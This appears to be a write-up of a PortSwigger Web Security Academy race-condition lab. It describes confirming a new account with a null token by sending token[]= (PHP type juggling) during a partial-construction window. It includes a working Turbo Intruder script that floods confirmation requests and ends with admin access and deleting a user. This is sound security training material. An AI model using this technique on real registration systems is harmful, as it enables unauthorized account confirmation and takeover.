| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Race Conditions |
| Difficulty | Expert |
| Objective | Exploit a partial construction window in user registration to confirm an account with a null token before the registration token is written to the database, then delete carlos |
Partial Construction Race Conditions¶
The lab had no provided credentials — only a registration form requiring a @ginandjuice.shop email:
Re-sending the registration request returned "An account already exists":
The confirmation JS (/resources/static/users.js) showed that confirmation is a POST /confirm?token=<value>:
Probing the endpoint directly with token=1 returned "Incorrect token: 1":
The vulnerability is timing: during POST /register processing, there's a brief window between creating the user record and writing the confirmation token. During that window the token field is null. If token=null is submitted during that window, the comparison null == null may succeed. Partial construction creates a sub-state where security fields are uninitialized.
Testing empty and array token values — token[]= (an empty PHP array) returned "Incorrect token: Array" rather than "Forbidden":
PHP's loose comparison (== not ===) treats null == [] as true. The server's confirmation endpoint doesn't use strict comparison — token[]= is the injection syntax that exploits this.
Benchmarking the endpoints separately:
POST /confirm→ ~283msPOST /register→ ~439ms
/confirm is 156ms faster than /register. A single parallel confirm fires and completes before the user even exists. Flooding with 60 confirmation requests per registration attempt compensates — at least some will land during the ~156ms null window inside the registration process.
Turbo Intruder script — one registration + 60 confirmation requests per gate, all released simultaneously:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0af300a9031c6e6d83733db4002900ed.web-security-academy.net
Cookie: phpsessionid=H3SPuPLIWe4IW2e5ksWEE1lqmjdhAtq3
Content-Length: 0
'''
for attempt in range(20):
currentAttempt = str(attempt)
username = 'teto' + currentAttempt
engine.queue(target.req, username, gate=currentAttempt)
for i in range(60):
engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
def handleResponse(req, interesting):
table.add(req)
After many attempts:
Account registration for user waaaaaa3 is successful!
Logged in as waaaaaa3 and navigated to /admin:
Deleted carlos. This lab was a pain.... this attack requires understanding PHP type juggling, identifying a partial construction window, using Turbo Intruder with gates correctly, and tolerating a high failure rate across many attempts.
No single step is individually complex; the difficulty is in chaining all of them and recognizing that persistence is part of the technique.
Lab solved and section finished